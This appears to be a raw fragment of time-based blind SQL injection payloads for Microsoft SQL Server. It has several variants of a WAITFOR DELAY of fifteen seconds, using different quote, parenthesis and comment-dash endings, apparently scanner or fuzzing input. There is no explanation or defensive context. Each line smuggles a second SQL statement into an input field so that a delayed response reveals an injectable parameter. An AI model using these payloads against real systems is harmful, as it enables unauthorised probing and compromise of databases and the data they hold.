1 1; waitfor delay '0:0:15' -     1 1); waitfor delay '0:0:15' -     1 1 waitfor delay '0:0:15' -     tO2HDbDV'; waitfor delay '0:0:15'-     1 waitfor delay '0:0:15'-     1 1 waitfor delay '0:0:15'-     1 1); waitfor delay '0:0:15'-